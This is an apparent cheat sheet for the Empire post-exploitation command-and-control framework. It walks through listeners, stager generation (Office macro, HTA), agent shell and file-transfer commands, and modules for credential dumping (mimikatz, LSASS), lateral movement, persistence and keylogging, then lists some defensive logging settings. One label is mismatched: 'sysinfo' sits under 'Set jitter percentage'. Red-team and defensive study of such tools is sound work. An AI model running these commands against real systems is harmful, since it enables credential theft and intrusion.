Empire Framework Cheat Sheet

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Overview

Empire is a post-exploitation framework that includes a pure-PowerShell 2.0 Windows agent and a pure Python 3 Linux/macOS agent. It provides a powerful command and control (C2) infrastructure for red team operations, penetration testing, and adversary emulation.

⚠️ Warning: Empire is a security testing tool that should only be used in environments where you have explicit permission to do so.

Installation

From GitHub

# Clone the repository
git clone https://github.com/BC-SECURITY/Empire.git

# Navigate to the directory
cd Empire

# Run the installation script
sudo ./setup/install.sh

Using Docker

# Pull the Docker image
docker pull bcsecurity/empire:latest

# Run the container
docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest

On Kali Linux

# Install from package manager
sudo apt update
sudo apt install powershell-empire

Basic Usage

Starting Empire

# Start the Empire server
sudo empire

# Start with REST API (for Starkiller)
sudo empire --rest --username <username> --password <password>

Using Starkiller (GUI)

# Install Starkiller
npm install -g @starkiller/starkiller

# Run Starkiller
starkiller

Empire CLI Navigation

Command	Description
help	Display help menu
menu	Return to the main menu
back	Go back one menu level
exit	Exit Empire
usemodule <module>	Select a module to use
usestager <stager>	Select a stager to use
uselistener <listener>	Select a listener to use
interact <agent>	Interact with an agent
searchmodule <term>	Search for modules

Listeners

Creating a Listener

# In Empire CLI
listeners
uselistener http
set Name http_listener
set Host 192.168.1.100
set Port 8080
execute

Common Listener Options

Option	Description
Name	Name for the listener
Host	IP/hostname for staging
Port	Port for the listener
CertPath	Certificate path for HTTPS
DefaultDelay	Agent callback delay (in seconds)
DefaultJitter	Jitter in agent callbacks (0.0-1.0)
DefaultProfile	Default communication profile
KillDate	Date for the listener to exit (MM/DD/YYYY)
WorkingHours	Hours for the agent to callback (09:00-17:00)

Listener Management

# List all listeners
listeners

# Kill a listener
kill http_listener

# View a listener's options
info http_listener

Stagers

Generating a Stager

# In Empire CLI
usestager windows/launcher_bat
set Listener http_listener
generate

Common Stager Types

Stager	Description
windows/launcher_bat	BAT file launcher
windows/launcher_vbs	VBS script launcher
windows/launcher_powershell	PowerShell launcher
multi/launcher	Multi-platform launcher
osx/launcher	macOS launcher
linux/launcher	Linux launcher
windows/dll	DLL launcher
windows/macro	Office macro launcher
windows/hta	HTA launcher

Agents

Agent Commands

# List all agents
agents

# Interact with an agent
interact C2AGENT123

# Get agent info
info

# Execute a shell command
shell whoami

# Run a PowerShell command
powershell Get-Process

# Upload a file
upload /path/to/local/file /path/on/target

# Download a file
download /path/on/target /local/path

# Take a screenshot
screenshot

# Exit agent menu
back

Agent Management

# Rename an agent
rename C2AGENT123 new_name

# Kill an agent
kill C2AGENT123

# Remove an agent from the database
remove C2AGENT123

# Set sleep interval
sleep 30

# Set jitter percentage
sysinfo

Modules

Using Modules

# List available modules
usemodule

# Search for modules
searchmodule credentials

# Use a specific module
usemodule powershell/situational_awareness/network/powerview/get_user

# Set module options
set Username administrator

# Execute the module
execute

Common Module Categories

Credential Access

# Dump credentials from memory
usemodule powershell/credentials/mimikatz/logonpasswords

# Dump SAM database
usemodule powershell/credentials/sam

# Dump LSASS process
usemodule powershell/credentials/credential_injection/lsass_dump

Situational Awareness

# Get domain users
usemodule powershell/situational_awareness/network/powerview/get_user

# Get domain computers
usemodule powershell/situational_awareness/network/powerview/get_computer

# Get domain groups
usemodule powershell/situational_awareness/network/powerview/get_group

Lateral Movement

# WMI lateral movement
usemodule powershell/lateral_movement/invoke_wmi

# PSExec lateral movement
usemodule powershell/lateral_movement/invoke_psexec

# WinRM lateral movement
usemodule powershell/lateral_movement/invoke_winrm

Persistence

# Registry persistence
usemodule powershell/persistence/userland/registry

# Scheduled task persistence
usemodule powershell/persistence/userland/schtasks

# WMI persistence
usemodule powershell/persistence/elevated/wmi

Advanced Features

Malleable C2 Profiles

# In Empire CLI
profiles
use default
set DefaultProfile /path/to/profile.profile

OPSEC Considerations

# Set agent kill date
set KillDate 01/01/2025

# Set working hours
set WorkingHours 09:00-17:00

# Increase agent sleep time
sleep 300 30

Data Exfiltration

# Use keylogging module
usemodule powershell/collection/keylogger

# Use clipboard monitoring
usemodule powershell/collection/clipboard_monitor

# Use screenshot module
usemodule powershell/collection/screenshot

Troubleshooting

Common Issues

1. Connection Problems ```bash # Check if the listener is running listeners

# Verify firewall settings sudo iptables -L

# Check for port conflicts netstat -tuln|grep ```

1. Agent Not Checking In ```bash # Verify agent is running agents

# Check for network connectivity issues # Verify sleep/jitter settings ```

1. Module Execution Failures ```bash # Check module requirements info

# Verify agent privileges shell whoami

# Try running in a different process context usemodule powershell/management/psinject ```

Defensive Measures

Detection Methods

• PowerShell Script Block Logging
• PowerShell Module Logging
• AMSI (Antimalware Scan Interface)
• Network traffic analysis
• Behavioral analysis

Prevention Techniques

# Enable PowerShell Script Block Logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1

# Enable PowerShell Module Logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 1

# Enable Constrained Language Mode
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"

Resources

• BC Security GitHub
• Empire Wiki
• Starkiller GitHub
• MITRE ATT&CK - Empire

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This cheat sheet provides a comprehensive reference for using Empire in security testing scenarios. Always ensure you have proper authorization before using this tool in any environment.